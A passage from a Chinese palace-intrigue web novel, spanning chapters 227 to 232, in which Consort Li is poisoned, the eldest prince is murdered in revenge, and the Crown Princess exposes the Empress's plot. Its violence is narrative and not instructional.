厉贵妃的嘴唇在动,声音轻到大皇子李明远俯下身,费力才能听清。
“母妃?”
大皇子李明远眼神慌乱,不敢与厉贵妃直视,“母妃,儿子没有。”
“儿子什么都没有了,儿子只想带母妃远离京城,我们去封地云理……”
厉贵妃轻声笑了,笑容凄凉。
“李明远,你是本宫生的啊。”
“你还骗我!”
厉贵妃耗尽力气,抓住大皇子李明远的衣领,“明远,你并不想带本宫去封地云理,你想要带走的人是……是暮歌。”
“那个**,她......她害惨了你啊。”
大皇子李明远眼神微缩,本能否认,“母妃……”
“明远,你不愿承认也没关系,也不重要了。但你可有想过,莫说皇后娘娘和太子阻止,便是皇上真会同意暮歌假死,随你去封地云理?”
“明远,你可曾问过暮歌,她愿意舍弃太子妃,舍弃权势富贵,跟着你吗?”
厉贵妃满眼失望,她倾尽心力教导的儿子,寄予希望的儿子,谁成想,毁在一个贱女人手里。
她万般后悔,早该杀了暮歌。
“明远,难道你还看不清,今日之事,是一个精密的局。”
“太子、皇后娘娘、姜夜沉、皇上、暮歌……他们都是害你的凶手啊。”
厉贵妃说完,整个人软在大皇子李明远怀里,她已耗尽全部精神。
厉贵妃和大皇子李明远说了什么,金夏和阿喜听得清楚细致。
暮歌一只手的五根手指骨头碎裂,徐慧珠刚把暮歌的手包成粽子,立马为皇后娘娘止血,厉贵妃明明伤得更严重,奈何厉贵妃是凶手,徐慧珠也暂且顾不上医治。
“皇后娘娘,血止住了,您千金之躯,回宫后得请太医……”
“徐氏,你的话太多了。”皇后娘娘丝毫不领情,“退下吧。”
“臣妇还得为厉贵妃看诊,实在不巧,这里唯有臣妇略懂医术。”
尾戏还没看,徐慧珠自然得找借口留下。
“不准。”
“厉贵妃行刺本宫,皇上已下旨降罪,本宫说不准诊治,徐氏,你岂敢?”
又说,“姜夜沉,你该办正事儿了吧,此去封地云理,路途遥远,还不把克王请下去收拾行囊。若耽搁克王离京的吉时,便是抗旨欺君。”
姜夜沉走向大皇子李明远,恭敬如昔,“王爷,贵妃娘娘伤得不轻,容锦衣卫送贵妃娘娘回宫,禀明皇上,是否请太医为贵妃娘娘诊治。”
皇上不在,这里皇后娘娘身份为尊,她若拼力阻挠,姜夜沉和锦衣卫又不能武力说服,一来二去拖延时间,受罪的还是厉贵妃。
倒不如,先让锦衣卫送厉贵妃回宫,哪怕直接将人送到冷宫,皇上仁慈,定会命太医为厉贵妃先看诊要紧。
“姜……姜夜沉,这份情,本王记在心间。”
若大皇子李明远知晓真相,今日这一切拜姜夜沉和徐慧珠所赐,暮歌充当帮凶,皇后娘娘和太子不过是为他们干活的先锋,他还能说出感激的话吗?
“臣奉皇命行事,王爷客气了。”
“来人,速备一台软轿,送贵妃娘娘回宫,小心
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伺候着。”
皇后娘娘正欲发作,李生德去而复返,“皇后娘娘,皇上挂念您受伤,命太医在君后殿候着,老奴随行伺候。”
皇上是真心疼惜皇后娘娘?还是操心皇后娘娘等不及回宫,就要厉贵妃的命?
圣意难测。
皇后娘娘是个急性子,厉贵妃终是死于冷宫,死在皇后娘娘手里,死在大皇子李明远的马车踏出城门那一刻。
她端着一杯毒酒,脸上洋溢笑容,一步一步走近厉贵妃。
“厉贵妃,你且记得,连累你枉死,害你不能再享受荣华富贵的人,是大皇子,你的优秀儿子。”
“不过,你安心**,本宫和太子稍后会送大皇子去阴曹地府和你母子团聚。”
皇后娘娘回头,看向暮歌,说道,“你也算叫她一声姑母,便替大皇子,不,替克王与厉贵妃道个别吧。”
“暮歌,这回你做得很好。”
“放心,本宫会好好疼爱你的,且记着,你是太子妃,跟本宫和太子才是真正的一家人。”
“是,母后,儿媳省的。”暮歌脸上无悲无喜,唯有顺从。
“母后仁慈。”
“儿媳这就派人传话,克王不日会听到厉贵妃突发重疾不治的消息。不过,克王已在去往封地云理的路上,就向着京城方向磕八个头,以尽孝心。”
“母后觉得,儿媳这般安排,可妥当?”
皇后娘娘心下满意,眼下皇上还在气头上,定怨恨她和太子“逼死”厉贵妃,才故意将宫权交给暮歌。
可惜,皇上没料到,她早已驯化暮歌,如奴服从、忠心。
“嗯……”皇后娘娘欣赏着厉贵妃在冰凉脏污的地上,身体蜷缩成一团,如同肉虫,挣扎着,扭动着。**穿肠,浸入五脏六腑,足足折磨人一刻钟,方能断气、死透。
她这一刻的心情,美妙极了。
“倒是不必刻意隐瞒厉贵妃的真实死因,暮歌,这杯毒酒啊,是你亲手喂给厉贵妃喝下的,不是吗?”
“克王该恨的人,是你。”
皇后娘娘将空了的酒杯放在暮歌的手心里,“暮歌,你可愿意替本宫受了这份委屈?”
第228章:大皇子之死
皇后娘娘好歹毒的心思。
“母后,儿媳心甘情愿。”
皇后娘娘喜欢听什么,暮歌只说什么,不管皇后娘娘如何试探,如何羞辱,暮歌不动声色地应付着。
皇后娘娘对她的信任添一分,怀疑便少一分。
暮歌忍耐得住。
“克王私藏龙袍,诅咒本宫和太子,呵,明明罪大恶极,皇上还是心软,舍不得弑子。”
“如此也好,先让克王痛苦地活着,来日方长,本宫会让克王烂死在封地云理。”
皇后娘娘扬长离去。
“暮歌姑娘,皇后娘娘已离开冷宫。”
暮歌点头。
她蹲下身来,板正厉贵妃身体,接过阿喜递过来的锦帕,动作温柔地擦拭厉贵妃脸上的脏污和眼泪,一如她入宫后侍奉在厉贵妃身旁的五年时光。
这些伺候主子的事情,暮歌早已做得娴熟、习惯。
她说,“徐慧珠去杀李明远了。”
“黄泉路上,母子相伴,才不会寂寞。”
“下辈子,你们别做母子,投胎做夫妻吧,你一直都感觉得到,他对你存了那种龌龊的心思......”
暮歌手下动作未停,直到阿喜握住她的手,轻轻摇头,“暮歌姑娘,厉贵妃大去了。”
厉贵妃的脸已被擦拭得干净,露出那张面色灰白仍不失美艳娇柔的容颜,暮歌扔掉锦帕,恰好盖严实厉贵妃的脸。
“阿喜,你看到了吧,这深宫啊,就是一个**不吐骨头的深渊,专吃美人儿。”
阿喜应的快,“徐夫人说过,暮歌姑娘厌极深宫,那就想法子离开,宫墙筑的再高,也关不住一心向往天空的鸟儿。”
暮歌起身,笑着说道,“阿喜,走吧,随我去一趟君皇殿,向皇上禀报厉贵妃大去的消息。”
“宫中大丧,有得忙了。”
“不知,李明远看见徐慧珠,得知徐慧珠杀他,会不会惊讶?”
被暮歌念叨的徐慧珠,距离京城两百里的一处一处峡谷堵住狼狈至极又疲惫不堪的大皇子李明远。
大皇子李明远刚出京城,接连遭**杀,一会儿山匪,一会儿黑衣人,根本不给他喘息的时间。
姜夜沉指派一队锦衣卫随行,护送大皇子李明远前往封地云理。锦衣卫是骁勇善战,一人可抵十人,但这队锦衣卫只带大皇子李明远逃窜,结果死伤的都是大皇子李明远的亲卫。
锦衣卫见到徐慧珠,立马恭敬行礼,“夫人。”
徐慧珠挥挥手,本就站在大皇子李明远身后的锦衣卫又后退一丈远,一个个坐在地上休整,要么取出干粮吃,要么擦拭手里的剑,要么闭眼小憩。
大皇子李明远的脸色难看中透着一抹恐惧。
“徐氏?”
“怎么会是你?”
“姜……姜夜沉要杀本王?还是……还是父皇假惺惺宽恕本王,实则暂草除根?”
此时的大皇子李明远疲于逃命,精神紧张,但脑子仍清醒,他连皇上都怀疑上了。
“他们是没时间来?还是羞于见本王?”
“所以,派你来?”
“徐氏,你可曾想过,本王一死,你就是最合适的替罪羊。”
“你过一个低贱妾室,谁会救你?”
转瞬之间,大皇子李明远想到策反之计,来不及深思,直白说出口。
生怕徐慧珠拒绝,大皇子李明远赶忙增加筹码。
他的筹码,就是自己。
一个人得有多自信,自我感觉良好到以身为诱饵。
“徐氏,不,徐慧珠,本王不嫌你嫁过姜夜沉,本王愿娶你,许正妃之位。”
“姜夜沉再好,可他不能人道,给不了你幸福,不能与你生儿育女啊。”
大皇子李明远说得口干舌燥,他仔细观察徐慧珠的神色,见她不为所动,他的心,止不住往下沉。
这个女人?
他牺牲如此,还不够吗?
她还想要什么?
“大皇子殿下,不,该叫你一声克王爷,您说完了?”
“您这一连串问题,我先回答您哪一个?”
大皇子李明远脸色大变,眼神阴郁地盯着徐慧珠,他好想怒吼,“闭嘴。”
克王……
包袱里的圣旨灼伤了他一路,他无数回动过扔掉圣旨的念头,又不敢。这道羞辱他的册封旨意,偏
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偏是他的身份,是他的护身符。
“克王爷无需担忧,我身后的人,来自云霄阁。”
这时,阿魂从黑衣人里走出来,取下狼面具,露出俊颜。
“在下云霄阁阿魂,受徐慧珠委托,来取你性命,克王李明远。”
阿魂话落,剑已出鞘,指向大皇子李明远。
“不不不。”
大皇子李明远眼里迸发出狂喜,“本王……本王出双倍,不,十倍的银子,买自己的命。”
云霄阁,只认银子,不认人。
这是云霄阁的规矩。
“哦?”
徐慧珠笑道,“克王爷要当面撬走我的生意?”
不对?
大皇子李明远猛然反应过来,阿魂刚刚说什么,云霄阁接的是徐慧珠的银子。
也就是说……
不,不可能。
徐慧珠没有理由杀他。
唯一的可能,是姜夜沉,或者皇上要他的命,他们都不想沾身脏手,这杀他的活,云霄阁接最合适。
一个江湖势力,最终还是得受制于皇命。
“徐慧珠,本王的提议?”
“克王爷您的提议,糟糕透了。”徐慧珠嗤笑道,“跟你生孩子啊?这事光是想想,就让我犯恶心。”
“阿魂,我突然失去和克王爷聊天的兴致了,真真是无趣至极。”徐慧珠下令道,“杀了他,在他的身上扎九十九刀,然后把尸体吊在树上,给野狼加餐。”
“听闻这山谷里的野狼,那一身跳跃的本事比猴子还厉害,它们会跃起,从尸体上撕咬下一块块肉。”
“克王爷出身皇家,打小养得好,这峡谷的野狼还未品尝过绝世美味,肉汁鲜嫩多汁......”
阿魂换了一把短刀,一刀贯穿胸口,恰好偏离心脏位置。
接着,第二刀,第三刀……
大皇子李明远心有不甘,他想要质问,他和徐慧珠无冤无仇,她为何杀他?
还有,徐慧珠眼里的蓬勃恨意,她缘何恨他?
他还有满腹计策未使,他还有底牌未亮……
最后,所有的不甘不信,都化为一句虚弱的“为什么”......
第229章:守财可以,守寡不行
徐慧珠说要给大皇子李明远九十九刀,阿魂绝不会让大皇子李明远在九十八刀时断气。
“暮歌故意勾引,让你误会她对你还有情。”
“她恨厉贵妃,更恨你,她那么恨你,如何爱?”
“克王爷,你主院里的密室,龙袍,布偶……都是我告密姜夜沉。”
“我求姜夜沉杀你,他一句未问,任我调令锦衣卫,送我云霄阁。
“皇后娘娘和太子,呵,那一对蠢货母子,活干得挺好。”
“距离这处峡谷四百里的惠山,隐匿一支两万人的山匪,其实,是克王爷您豢养的私兵……”
这时,一名锦衣卫禀报,“夫人,宫里传来消息,厉贵妃大去了。”
阿魂喂给大皇子李明远一颗哑药,他痛到失禁,却无力呻吟,眼睁睁看着刀一下扎入又一下拔出。
母妃**,死在暮歌手里。
他也要**,死在徐慧珠手里。
那么多,他悄悄藏起来的秘密,唯有他一人知道的秘密,为何?徐慧珠全部知道。
她到底是谁?
“夫人,第九十九刀了。”
徐慧珠点头。
第九十九刀落下。
大皇子李明远,丧命于一处不知名的峡谷里。
他,死不瞑目。
“阿魂,大家连日辛苦,回京后,备几桌春风酒楼的席面,每人一百两银子。”
“谢夫人赏。”
“回吧,把将军一个人丢在府里,他又会闹脾气,不知大福哭没哭,唉,难为可怜的大福了。”
阿魂嘴角抽了抽,夫人背后说将军“坏话”,他们这些做下属的能听吗?
不知过去多久,夜色渐暗,野狼的叫声响彻峡谷。
大皇子李明远明明死透,不知为何,他的灵魂似是从尸身剥离,汇成一条虚影,飘荡于峡谷。
他看着一只头狼率领狼群,顺着血腥味找到已僵硬冰冷的尸身,它们排着队,飞速跃起,再落下,锐利的牙齿撕扯下一块肉。
“啊……”
“好痛!”
**,为何还能感受到疼痛?
大皇子李明远在疼痛里,看见自己的前世。
他的前世,竟与徐慧珠息息相关。
太子卑鄙恶毒,手段下作,在佛门之地给他下媚药,他逃到大平寺后山,偶遇户部尚书府嫡出大小姐徐慧珠。
她以身解毒,他不能娶她,却意外发现她身体里的秘密。
她啊,还真容易哄骗。
他寻到那批宝藏,用她的银子豢养军队,拉拢朝臣,暗里和坞国察尔通王子合作,先是除掉太子,再蛊惑她弑君。
待他登上黄金座之时,她的价值榨尽,留她何用?
她心甘情愿牺牲,他一没威胁,二没逼迫,顶多算以情诱骗。
谁让她傻?
谁让她蠢?
谁让她痴?
所以,她为复仇而来。
可惜,他知晓真相,已然太迟。
又过了两日,峡谷出现一位僧人,他对着支离破碎的人骨念了一刻钟佛语,用石块挖坑,将骨头收敛,葬入尘土。
所剩骨头零散,便是能工巧匠也拼凑不出人的模样。
“罢了罢了,冤有头债有主,施主前世造就的孽缘,怪不得人家这世杀你。”
“不杀你,难道傻等着再被你杀一回……”
将军府,姜夜沉连着两夜未眠,顶着眼底乌青一口闷一碗安神汤。
“普神医,你明知这安神汤药于我来说,并无多大效用,最多浅眠一个时辰。”
“我还有公务在身……”
“是是是,是我的医术不精,治不好大将军您的不眠症。”普神医也不想给姜夜沉熬安神汤药,就姜夜沉喝下的这碗安神汤药,换作大福,昏睡三五日,方能醒来。
普神医从未见过姜夜沉这样的奇怪病人,姜夜沉的身体好似一个蕴藏丰富的宝藏,他研究多年,仍无半点头绪。
“可,夫人不在,您就睡不着,怪谁呢?”
“夫人特别交待,要么我给您熬安神汤,要么大福拍晕您。”
“大福怕您秋后算账。”
普神医干脆以身挡在门口,亮出**锏。
“夫人还说,大将军您不爱惜自个儿身子,是不是盼着早死,那就莫怪夫人她另觅良缘,守财可以,守寡不行。”
“徐慧珠倒是敢说,你也是真听话。”姜夜沉冷着脸倒在床榻上,逼自己休息。
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>越强迫,越无睡意。
“将军莫忘了,是您说的,将军府由夫人掌家。夫人给我们发俸银,自夫人入府,俸银翻倍,我们不听夫人的话,对得住银子吗?”
“将军,您说是不是这个理儿?”
待徐慧珠归府时,就看到姜夜沉躺在床榻上,普神医站在门口,絮絮叨叨说个不停。
普神医在等药效,一个时辰过去了,他站得腿疼,说得口干舌燥,姜夜沉还是睁着眼睛。
偶尔回怼一两句。
他的精神念力,在抑制药效上又达到新的高度。
可喜可贺。
普神医苦着一张脸,笑不出来。
“夫人?”
“你回来了。”
“怎么去那么久?”
姜夜沉旋风似的冲到徐慧珠面前,不过两日,对他来说,犹如十年漫长。
下回,他绝不允许徐慧珠独自出门。
高低他得跟着。
妇唱夫随。
“得,将军有药了,没我啥事,就不妨碍两位小别胜新婚。”
“药楼活多着……”
普神医碎碎念离开。
姜夜沉直接拉徐慧珠躺在床上,抱着柔软的身子,闻着熟悉的气息,一阵倦意袭来。
“将军,我还未洗漱,一身尘土味。”徐慧珠欲推开姜夜沉,哪有一见面就拉人上榻睡觉。
他也不过问一句大皇子李明远**没?也不好奇她和大皇子李明远说了什么,还有,她**的过程。
“夫人身上香香的。”姜夜沉只觉得眼皮子好沉,睡意一旦袭来,他招架不住。
徐慧珠就是他的药,救命良药。
“夫人,为夫好困好累。”
“为夫已两日未合眼,皇上这回不仅生气,还伤心。”
“太子犯蠢挡不住,大皇子私藏龙袍,行诅咒禁术的事,从东宫泄密。”
“太子还派了好几波人在路上暗杀大皇子,夫人安心,为夫已准备齐证据。”
“大皇子的死,这锅,太子背定了,反正太子也不冤......”
“这回,夫人**,为夫善后。”
“下回,为夫要和夫人一起,**是粗活,为夫来做,夫人在一旁瞧着就好。”
第230章:皇后和太子都是疯狗
姜夜沉生怕徐慧珠趁他睡着偷偷开溜,将她禁锢在怀里。
徐慧珠悄悄离京去杀大皇子李明远,姜夜沉在京城更忙,查封大皇子府,顺势清洗一遍大皇子派系的势力。
随着大皇子李明远突然倒台,一时间,京城又有好些世家大族的书房,烛火亮了一夜又一夜。
太子虽占着东宫储君的位置,但太子无才无德太过明显,两相比较,大皇子李明远由内而外优于太子,再加上皇上对太子的怪异态度,不冷不热中透着嫌弃。
这导致朝堂上仍有不少朝臣看好大皇子李明远,相信皇上为了江山社稷,终有一日废太子,重立贤能。
谁是贤能?
自然是才能兼备的大皇子李明远。
事实却是,大皇子李明远明面谦谦君子,实则内心阴暗狠毒,私藏龙袍、诅咒禁术……他的可怕令人乍舌。
更让人无语的是,太子凭着莽撞、好运撞破大皇子李明远的秘密。
谁都觉得,这应该是一场精密布局,皇上下旨由锦衣卫和护龙卫联手调查,结果就是意外。
让人怎么说?
让人意难平。
姜夜沉这一觉破天荒睡了十个时辰,中间李生德来了两回,阻止大福叫醒。
姜夜沉越忠心省心,皇上越心疼愧疚。
皇上这是把姜夜沉当作自己孩子,世间父亲皆一样,一边盼着孩子大有出息,一边舍不得孩子吃苦受累。
一觉睡醒,姜夜沉像是吸足“阳气”,精神气色极佳。
“慧珠,今日随我入宫,去瞧一场好戏。”
徐慧珠在太医院挂职,皇上受头痛症困扰多年,徐慧珠自创一套穴位按摩法配合针灸,甚有效果。
便是姜夜沉不在,她也能随时入宫,为皇上请脉,就是现成的理由。
两人刚入宫门,偶遇太子,看来太子刻意在等姜夜沉。
“太子殿下安好。”
太子开口没好话,“姜夜沉,你又领着妾室逛皇宫?皇宫的御花园就这么好逛?”
“姜夜沉,你就不怕言官**你假公济私?”
太子和凝玉公主这一对兄妹属苍蝇,以恶心人为乐趣。
“回禀太子殿下,皇上特许臣妇在太医院供职,所以为皇上日常请脉实属臣妇职务所在。”
“不过,太子殿下既然推荐御花园,臣妇得空便去逛上一逛。”徐慧珠答道。
“徐氏,你……你?”太子恼羞成怒。
“贱妾而已,也配和孤说话?”
“来人,徐氏以下犯上,掌嘴二十。”
姜夜沉上前一步,挡在徐慧珠身前,“太子殿下何意?”
太子笑的张狂,“姜夜沉,你还有得选择吗?”
“姜夜沉,孤看在凝玉公主脸上,可以原谅你以往的不敬,也愿再给你一次机会,只要你处置了徐氏,杀了她,或送到军中红帐。”
终于说到正点。
太子等在这里,是要给姜夜沉下马威,再施舍拉拢之意。
太子自以为除掉大皇子李明远,姜夜沉就该痛定思痛,不敢再左右摇摆,然后跪在他面前痛哭流涕,乞求他的饶恕。
不过,她这条池鱼,又又又被殃及了。
“太子殿下想送臣的夫人去军中红帐那种地方,更甚者要臣的命,那就等太子殿下登上黄金座再说。”
“不如,太子殿下和臣一道去君皇殿面见皇上,当着皇上面,太子把刚才的话,再说一遍。”
话锋一转。
“锦衣卫查到有四伙不明势力埋伏克王去往封地云理的路上,意图截杀克王,太子殿下可否好奇,克王是逃出生天?还是已成刀下冤魂?”
人一旦做下亏心事,心虚就会不受控地表现在脸部表情和眼神。
“截杀?”
“姜夜沉,你与孤说这些何意?孤又没派人截杀克王。”
徐慧珠满眼疑惑,小声问道,“将军您不是说,锦衣卫在审理**时,**着急否认就等于承认......”
这时,李生德脸色沉重禀报,“奉皇上口谕,宣太子殿下、大将军即刻入君皇殿。”
徐慧珠和姜夜沉对望一眼,看来,皇上刚收到大皇子李明远身死的消息,一同呈到御案的还有证据。
不等姜夜沉开口,李生德看了一眼徐慧珠,说道,“皇上震怒,先前徐夫人备下的薄荷静
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心丸正巧用完,徐夫人既是来送药,就一同面圣。”
君皇殿里,皇上阴沉着脸,在太子一只脚跨过门槛之时,奏章劈头盖脸砸来。
姜夜沉拉着徐慧珠轻巧躲开。
太子又不是第一回挨揍,不值得同情。
安静看戏就好。
“孽子,跪下。”
“太子,你......你岂敢弑兄?”
太子噗通跪下,一边磕头一边矢口否认,“父皇,冤枉啊。”
“儿臣没有。”
“克王已去封地云理,儿臣杀他,有何意义?”
“父皇,定是有人栽赃陷害儿臣?或者是克王自导自演的苦肉计,为的是博得父皇怜惜,好求父皇收回旨意,继续留在京城?”
太子坚信,皇上在诈他。
他派去截杀大皇子李明远的是四队死侍,不管完成任务,或失败,这些死侍在离京的二十四个时辰内会爆体而亡。就算锦衣卫查,蛛丝马迹指向他,绝不会有证据。
“父皇,儿臣没做的事,万万不认。”
“父皇,您......您为何不信儿臣啊?”
太子说到伤心处,呜呜哭泣,好似真受了天大的委屈。
大皇子李明远私藏龙袍,行诅咒禁术,偏偏被太子撞破,接着厉贵妃死在冷宫,然后大皇子李明远惨死,唯有皇后和太子这一对母子是疯狗,才会有恃无恐咬死厉贵妃和大皇子李明远。
除了他们,还有谁?
“混账,你还敢在本皇面前狡辩?”
皇上抓起剩余奏章,砸向太子。
皇上的准头极好,几乎都砸在太子脸上。
“皇上?”
皇后娘娘人未至,声已近。
“母后小心门槛。”暮歌扶着皇后娘娘入殿。
入眼,太子跪着,满身狼狈,满脸伤痕。
姜夜沉又又又站着。
这一幕刺激的皇后娘娘,怒火如漫天烟火炸开。
“臣妾见过皇上。”
“平身。”皇上只让皇后娘娘起身说话,并未赐座。
“皇后不在君后殿反省,来本皇的君皇殿做什么?”
“皇后难道忘了祖训,后宫不得干政。”
第231章:无情无爱之人,无惧威胁
夫妻多年,皇后娘娘自是听得出来皇上话里的凉意。
她亲手了结皇上的宠妃,皇上恼她怨她恨她,那又怎样,厉贵妃**,一个**对她再也造不成半点威胁。
她憋在胸口二十多年的浊气,终于全部吐出。
神清气爽。
“皇上说得严重了,臣妾谨记祖训,哪里敢干政。”
“臣妾来救自己的亲子,有错吗?”
“若臣妾再不来,皇上怕是将脏水污水尽数泼在太子身上,太子何其无辜。”
皇上伸手去抓奏章,可惜被他砸没了。
他是想砸皇后娘娘那张令人生厌的嘴脸,这个面目可憎的女人,是他的皇后,却让他犯恶心。
“太子无辜?”
“克王**的?”
“皇后你也无辜?”
“厉贵妃**的?”
徐慧珠瞧着皇上难看的脸色,从荷包里取出瓷瓶,递给姜夜沉。
姜夜沉会意,“皇上,这是慧珠和普神医新炼制的薄荷静心丸,您服用看看。”
皇上心中一暖。
皇后和太子忙活着喊冤,没关心一句他的身体,唯有姜夜沉,在意他会气大伤身。
皇后娘娘见不得皇上和姜夜沉在她面前演什么“父慈子孝”,她转身扇暮歌一巴掌,“皇上质问克王**的,臣妾和太子在深宫,如何会知道克王是死是活。”
“不过,厉贵妃的死,皇上不妨问一问暮歌。”
“皇上,您为太子精心挑选的太子妃,亲手喂下您宠在心尖尖上的嫔妃一杯毒酒......”
暮歌吓得浑身颤抖,跪在地上,“父皇,儿媳......儿媳无言可辩。”
“母后叫儿媳死,儿媳甘愿赴死。”
“母后叫儿媳活,儿媳便活着。”
“儿媳听母后的话。”
皇后娘娘就这么迫不及耐一脚踢开她?除掉她?
暮歌垂着头,掩下眼里的滔天恨意。
突然,暮歌捂着胸口,吐出一口黑血,身子软绵绵倒下去。
“徐氏,去救。”
皇上脸色大变,下令道,“徐生德,你亲自去一趟太医院,让医正来。”
“回禀皇上,太子妃......**。”万幸徐慧珠随身携带百毒丸,一刻钟后,暮歌醒来。
“毒素已侵入太子妃五脏六腑,已错过最佳解毒时间,就算服用百毒丸,日后太子妃的身子怕是坏了,终生靠汤药养着。”
“活不过四十岁。”
医正复诊,得出同样结论。
“太子妃,你说,谁给你下的毒?”皇上极力压制怒火,又服下一颗薄荷静心丸,“你如实说,本皇会为你做主。”
暮歌眼圈发红,她看了一眼皇后娘娘,又看向太子,最后低下头,答道:“是儿媳自愿饮下**,与旁人无关。”
“徐夫人,你是我的救命恩人,也是我唯一的朋友,我......我不想也不能杀你啊。”暮歌哭倒在徐慧珠的怀里。
“杀我?”徐慧珠愣住,满眼迷惘惊慌,“将军,有人要杀我?”
“谁要杀我?”
“皇上,臣请彻查此事,便从太子妃**查起。”姜夜沉目色坚定,“臣也想到知道,谁如此恨臣,不喜杀臣的夫人,逼臣守寡?”
皇后娘娘心虚不已。
她被凝玉公主缠的没法,想到暮歌和徐慧珠交好,便告诉凝玉公主可借暮歌这把刀,弄死徐慧珠。
哪成想,凝玉公主是个急性子,逼迫暮歌喝下**,要么自己死,要么去杀了徐慧珠。
皇后娘娘无奈,只得放弃暮歌这枚好用的棋子。
暮歌也是蠢,宁愿毒发,也不忍下手。
再说,暮歌体内的毒,明明还得等上两日才发作,怎么会这般凑巧在皇上面前吐血?
“暮歌,休得胡言乱语,徐氏活得好好的,谁闲得无聊去杀一个妾?”
“你说,是不是你毒杀了厉贵妃,惧怕皇上降罪,这才提前服用**,以你的死保全家人?”
这是拿家人威胁她?
她从未召见过一回母家的亲人,因为她孜身一人,何谈亲人。
自她当上这人人羡慕的太子妃,从前的钱暮歌死在梅林里,她已断绝情爱,一个无情无爱的人,无惧威胁。
“皇上,臣妾教导儿媳不力,臣妾有错。”
“但国有国法,家有家规,就算臣妾百般不忍,也不能为了暮歌求皇上网开一面,饶她性命。
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只是,此事涉及皇室颜面,还请皇上给暮歌一个痛快死法。”
皇后娘娘着急给暮歌定罪,恨不得此刻三尺白绫勒死暮歌,来个死无对证。
话,就由她说了。
“来人,赐太子妃毒酒。”
暮歌浑身颤抖,满眼不敢置信,“母......母后?”
“您......您要杀儿媳吗?”
“求您让儿媳死得瞑目,您告诉儿媳,儿媳做错了什么了?母后,您说过,儿媳是您的另一个女儿,陪着您在这深宫里相依为命。”
暮歌半句不提她为何毒杀厉贵妃,也不说她缘何**,不管皇后娘娘怎么说,她却像个稚童固执地索要一份虚无的情感。
实在可怜。
“太子妃,求您说出真相。”
“臣妇不想死。”
“臣妇有幸嫁给将军,将军对臣妇疼爱入骨,敬重有加。臣妇日日在菩萨面前祈愿,愿和将军恩爱到老,唯有死亡才能将我们分离。”
徐慧珠说罢跪在暮歌面前,“太子妃,臣妇救过您的性命,那今日臣妇厚颜挟恩求报,求您告诉臣妇,谁逼您杀我?”
“是谁?”
皇后娘娘的心,提到嗓子眼。
暮歌撑着虚弱的身子跪在地上,头一回与皇上对视,“父皇,儿媳有罪。”
“罪在知情不报,罪在助纣为虐......”
“太子妃,你叫我这么久父皇,本皇答应你,若你如实交待,许你一个承诺。”皇上给暮歌吃一颗定心丸,也就是说,不管暮歌说出多惊世骇俗的事情,她都能脱身。
暮歌似是没料到皇上突然这么说,一时不知所措。
姜夜沉提醒道,“太子妃,您且安心,万事有皇上做主。”
皇后娘娘忍不住开口阻止,“姜夜沉,你在向暮歌暗示什么?”
她不敢说皇上,柿子挑软的捏。
“皇后娘娘大概是多心了吧,臣并无多余意思,只不过鼓励太子妃说出真相,若说私心,臣承认的确有私心,因为臣非常想知道,谁敢杀臣的夫人?”
姜夜沉态度恭敬,言语冰凉,“此仇,于臣来说,不共戴天。”
“而太子妃,恰好是知情人。”
第232章:太子妃叛主
“将军,此事透着奇怪。”
徐慧珠心有疑惑,大胆提问。
“皇后娘娘三番五次阻止太子妃说出真相,难道?”
徐慧珠拍了拍胸口,“太子妃**,谁要杀我……其实,皇后娘娘也是知情者。”
“皇后娘娘在包庇什么人?”
徐慧珠只差指名道姓“凝玉公主”,能让皇后娘娘费心费力保护的人,除了太子,就是凝玉公主。
“徐氏,你好大的胆子……”
徐慧珠似是受到惊吓,往姜夜沉身后躲了去。
“皇后娘娘有什么怒火,冲着臣来便是,臣的夫人胆子小,吓破了胆,臣找谁说理去?”
“皇后娘娘大可不必忧心。”
“其实,不管太子妃说了什么,皇上会命锦衣卫一一查证后,再行定夺,皇后娘娘该相信锦衣卫的办事能力才是。”
两人一唱一和,堵的皇后娘娘无话可说。
坐在御案后的皇上,脸色渐缓和。
“太子妃,说吧。”
“本皇只给你这一次机会。”
暮歌看到徐慧珠眼里的鼓励,这一刻,她忽然觉得身体注入一股强大的力量,在推着她一步一步前行。
“那一日皇上为叶文瑞和上官西环赐婚,皇后娘娘发了好大的火。”
“后来听说叶文瑞主动提出‘五年之约’,皇后娘娘便对凝玉公主说,叶文瑞定是对凝玉公主痴情不改,劝凝玉公主私下找叶文瑞和好。”
“皇后娘娘还说,五年的时间,足够叶文瑞掌控西疆兵权,她会除掉上官西环,到那时,叶文瑞还是凝玉公主的驸马。”
皇后娘娘说话行事并未避着暮歌,不是信任,而是她自以为拿捏住暮歌,还以为暮歌对她绝对服从,万般孝顺,千般忠心。
“暮歌,你……你岂敢?”
皇后娘娘欲扑过去抽烂暮歌的嘴。
让她说!
“夜沉,堵住皇后的嘴。”
“聒噪。”
在皇后娘娘震惊的目色里,姜夜沉将一团黑布塞入她的口中。
尊贵无双的皇后娘娘,体面全无。
“姜夜沉,你?”
太子试图爬起来阻止,皇上阴冷的声音响起,“跪着。”
“太子,你的账,本皇待会儿和你清算。”
太子当即瘫软了身子,瑟瑟发抖,不敢言语。
他怂。
他怕。
暮歌继续说道,“凝玉公主和皇后娘娘大吵一架,谁也说服不了谁。”
“最后,凝玉公主提出两个要求,若皇后娘娘达成她愿,她就听皇后娘娘的话,以身勾引叶文瑞,为太子谋得西疆兵权。”
暮歌的目光落在姜夜沉和徐慧珠身上,如此明显,凝玉公主所提出的要求,与他们有关。
“凝玉公主要求皇后娘娘先弄死徐慧珠,再掳了姜夜沉藏匿于京郊别院。凝玉公主说,她要和姜夜沉共度一夜春宵,她……她准备十多种媚药全部喂给姜夜沉,不信姜夜沉的身体毫无反应。”
“皇后娘娘劝说凝玉公主从长计议,但凝玉公主着急,日日来君后殿催促闹腾,再加上大皇子殿下,不,是克王突然出事,皇后娘娘毒杀厉贵妃……”
“大抵我能为皇后娘娘尽忠的最后一件事,就是除掉徐慧珠,背所有的黑锅。”
“我不怕背黑锅,可……可我不愿杀徐慧珠,因为她是唯一给予我温暖,却不图回报的好人,是照亮我心间的那一缕光啊。”
暮歌**颇深,撑着力气说完这一番话,又吐出一口黑血,昏厥在徐慧珠的怀里。
徐慧珠的眼泪止不住地流,“将军,太子妃……她会死的。”
“皇上,太子妃救了慧珠的性命,救命之恩当涌泉相报,眼下太子妃生命垂危,凤凰山有一处药泉,臣请皇上恩赦太子妃去药泉静养。”姜夜沉请求道。
暮歌背叛皇后娘娘,她留在皇宫,必死无疑。
“准。”
“夜沉,你派一队锦衣卫守护太子妃的安全。”
“太子妃的身体还是交由徐氏调理,所需药材尽可从太医院支取。”
皇上这是信了暮歌的话。
